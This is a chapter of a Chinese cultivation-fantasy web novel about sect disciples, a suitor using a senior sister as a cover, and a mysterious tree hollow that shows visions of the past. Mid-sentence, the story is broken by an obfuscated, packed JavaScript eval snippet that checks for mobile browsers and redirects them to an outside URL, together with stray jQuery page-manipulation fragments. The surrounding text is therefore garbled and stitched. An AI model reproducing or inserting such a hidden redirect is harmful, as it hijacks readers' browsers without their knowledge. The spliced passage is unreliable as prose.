听到这话,洛施面上没有丝毫不虞的神色,甚至还饱含歉意地对她们说:“这是自然,是我叨扰这里太久了。”
“只是,我恐怕还需要在青元派多借住一段日子。”说着眼神瞟向玉山。
玉山随即帮忙解释道:“洛施他与家里人有一些矛盾,所以暂时借住这里。”
洛施尴尬地笑笑:“原本家丑不可外扬,可对象是玉明大哥的师妹师弟,我也就不敢瞒了。各位聊,我先回去了。”
直到洛施的身影消失在众人视线外,谭棋才转过身询问玉山:“师姐,你可别忘了,他是云麓宗的人。”
玉山点点头:“我也经过一番深思熟虑才答应下来的,大师兄曾经和我讲过他这个人,或许与云麓宗其他人有所不同。”
“师姐,你不觉得他这几日对你太过殷勤了吗?”江李问的委婉,但谭棋却按捺不住了。
“洛施是不是在追求你啊师姐?”
玉山一顿,随即露出苦笑:“你们都感觉出来了?”
“他这几日的举动,确实是要追求我的迹象,不过不是为我,而是做给他父亲看。”
江李有点迷糊:“所以师姐你的意思是,他拿你做挡箭牌?”
“差不多。”玉山点点头。
江李和谭棋对视一眼,都看出了对方的困惑:“师姐你怎么就答应了?到时候云麓宗那边真要让你与他结成道侣可要怎么办?”
“不会的,他这次与他父亲的矛盾就在于他父亲为他寻的道侣人选,洛施对对方并不满意,转而向他父亲说喜欢我们青元派的一位女弟子作为搪塞,他父亲又不同意,于是才发生争吵。”
“况且,”玉山停顿一下,还是决定把实情说出来:“洛施在回来的路上捡到了师父放出的竹心。”
此话一出,对面的质疑二人组瞬间瞪大眼睛:“他捡到竹心了?”
江李都被吓结巴了:“那、那他岂不是知道我们在查的内容?”
玉山镇定地说:“我试探了一番,发现他所知晓的信息甚少,只知道竹心是师父的灵宠,我告诉他竹心是师父日常放飞的,没有多说。且根据我对他的了解,应当不会对我们造成威胁。”
“据他所言,捡到时竹心的腹部中箭,应当是被人埋伏了。因此他多在路上照顾了几日,不然还能早几日回来。”
江李若有所思:“所以师姐你答应做挡箭牌,也是为了报答他的善举?”
“这样就说通了,”谭棋还在旁边一惊一乍:“我就说平日里一心修炼的师姐你怎么会突然和那小子看对了眼!”
听了玉山这番话,江李心里的石头算是落下了。
“把心思放在正道上!”玉山没有给她们喘息的机会,立刻数落起小考的结果。
“你们二人究竟为何才考了一点分数?江李你这次还不如他?”
江李郁闷瘪瘪嘴:“对不起师姐,我一定努力。”
“我也在努力了师姐!”谭棋紧随其后。
本来宗门日常事务繁杂,就让玉山每日忙得脚不沾地,还有两个爱闲聊多事的师妹师弟需要辅导,头更大了。
“明日起,江李你跟着风林,谭棋你跟着陌心,让他们二人陪同修炼,下次小考我要看到成果!”
“是!”“是!”
虽然解决了洛施和玉山二人的关系问题,但江李在那日玉山的话中捕捉到了另一个重要内容——
他在青元派有喜欢的女子……
不是她那就是师姐咯?
在最该认真修炼的年纪又在纠结这些情啊爱啊的。
这句话是谭棋送给江李的。他不明白江李为何非得执着于这种事。
江李也不知道为何她所认识的修士并没有着急寻找道侣。
如果没有离开家,那么江李现在已经在家里等刘媒婆上门说亲了。即使选择了修仙,她也并没有完全抛弃过去生活的节奏。
一如既往地按时吃饭,按时睡觉,按时构想自己的人生。
况且在进入宗门前,大师兄就曾告诉过她,如果在未来寻本过程中她发现了比修仙更值得追逐的东西,那么只要通过试炼便可以随时选择进入俗世凡尘。
她暂时还不能完全理解修士的世界,也不能保证在未来她还在修炼大道上。
无论最终如何决定,江李都没有放弃她以往的生活习惯。
所以江李本人并不认为自己现在对洛施的好感是不可言说之事,只是宗门内的修士大都浸心修炼,江李没有可以商量这种事的人。
就连谭棋也好像对这种事兴致缺缺。
难道这就是修士的特点,只有这样才能修仙得道?
江李依旧对自己能不能成为一个好修士,成为一个普世意义上的修仙者感到困惑不解。
在榻上思来想去,最终江李还是起了身,从识戒中将从家里带出来的布包取出来。
从里面取出娘为她准备的嫁妆盒子,打开一下便看到一对蝴蝶钗。
儿时江李总能瞧见娘从首饰盒里将这对钗取出来,细细擦拭后再放回去。
她也曾好奇,这样好看的钗为何娘一次都没有戴过。
娘当时好像什么都没说,只是将蝴蝶钗在江李的发间比了比,承诺未来这对钗会留给江李作嫁妆。
好像那样平常且普通的日子还在昨天,实际上那个她曾生活了十五年的村落早已荒无人烟。
这时,她才突然想起之前被她遗忘了的神秘树洞。
风林喜爱着自然的一切,平日里总爱侍弄他的花花草草。江李认为关于树洞的秘密,最合适同他探讨。
因此二人再次来到那棵枯木旁边。
然而,二人在四周转了好几圈都没能发现那天的树洞,江李一度认为是她那日找花找得糊涂了。
“你说的树洞当真在这?可这棵枯木明显没有任何被破坏的地方啊。”
江李皱眉:“不可能,那日我看到的枯树明明树冠上都是烧焦的痕迹,怎会……”
风林向四周张望:“按道理来讲,这种奇妙的地方这么多年不可能不被发现。师父可是在这座山上住了四十多年啊。”
江李瘪着嘴,依然不相信自己那日的经历完全是梦境。
“或许那树洞会隐藏?”
风林面露难色:“那我们也对它没有办法啊。”
江李转身继续寻找,风林见她这样执着,也跟着找起来。
就这样,二人从晌午找到日暮,还是一无所获。
“都快下蚊子了,我们明日再来吧。”
江李遛圈遛得气喘吁吁,二人下午沿着山脚正着反着转了好几圈,鞋都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267487|182151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要磨破了。
二人找到枯木附近的一块大石头坐下歇息,打算顺过气来就回去。
江李呲牙咧嘴捶打着酸痛的小腿,余光里却瞥到那枯树背面有光闪烁。
“师兄你看!”江李赶紧用胳膊肘怼了怼背后的风林:“走,我们去看看。”
二人遂起身绕到树的背面去,果然发现了那日的树洞。
“居然真的有,难道是在特定时间才会出现吗?”风林不可置信地说道。
江李表示自己那日的确是在接近傍晚的时候发现了这个树洞。
二人围着树洞而立,奇怪的是在他们靠近树洞后,奇异的光消失了。
风林望着眼下黑黢黢的洞,难得陷入沉默。普天之下竟有这般稀奇的景象。
“师兄,要不我们进洞里瞧瞧?”江李提议。
风林摇头拒绝:“这个洞出现的时机太过诡异,贸然前往恐怕会有危险。”
江李反驳:“我那日用分神术试了一下,除了比较耗费精力,容易昏倒过去,还没有什么其他危险。”
风林瞪大眼:“你胆子真大啊!”
江李听出他有些生气,讨好性地“嘿嘿”一笑:“在自己宗门内会有什么危险啊。”
说的也是。
风林自己想了想,虽然这树洞从未有人发现,可师父既然将宗门选址选至此处,必定也是经过考察。
于是……
“我去看看,你盯好周边情况,如果看我不对劲立刻将我唤醒。”
江李乖巧点头。
就这样,风林像那日的江李一般,分出一律神识进入洞内。
江李将“安睡着”的三师兄搬到附近的石阶上,随即坐在旁边盯着四周的风吹草动,同时随时关注风林的状况。
过去了半个时辰,风林从面上看起来没有出现问题。但就在江李伸手去打一只黑色的蚊子时,风林皱起眉。
风林依旧没有醒来,但看他的神色好似十分委屈,一儿“吭吭”几声,一会儿留几滴泪。江李猜测他遇到了让他伤心的事,估摸着应该没有什么大事,便没有强行唤醒。
过了好一会儿,风林才睁开眼。
江李看到他眼眶红红,下巴还沾着泪水,小心翼翼问道:“师兄你还好吗?”
风林坐起来吸吸鼻子,意识到自己刚刚失了态,狠狠抹了把脸再次露出与以往一般和煦的笑容:“没事,我梦到我母亲和姨妈了。”
江李拍拍他后背,安慰地说:“我上次进入也梦到我家了。”
“不过,还梦到了一些可怕的诡异的事。”
“是你所经历过的吗?”风林追问,得到了江李肯定的回答。
“那也就是说,这个洞里的世界,其实是我们的过去?”
江李补充:“像是有精怪给你演了场戏,假假的。”
风林迟疑地点头,江李看出他的异样:“怎么了三师兄?”
沉默了好一阵,风林才开口:“我看到的洞里的世界太真实了,比现实生活还要残酷。”
这回轮到江李疑惑:“真实?为什么我看到的都很假?每个人都像傀儡一般!”
二人神识进入后的世界明显存在很大差异。
一个完全的真实,一个充斥着虚伪与荒诞。
为什么会这样?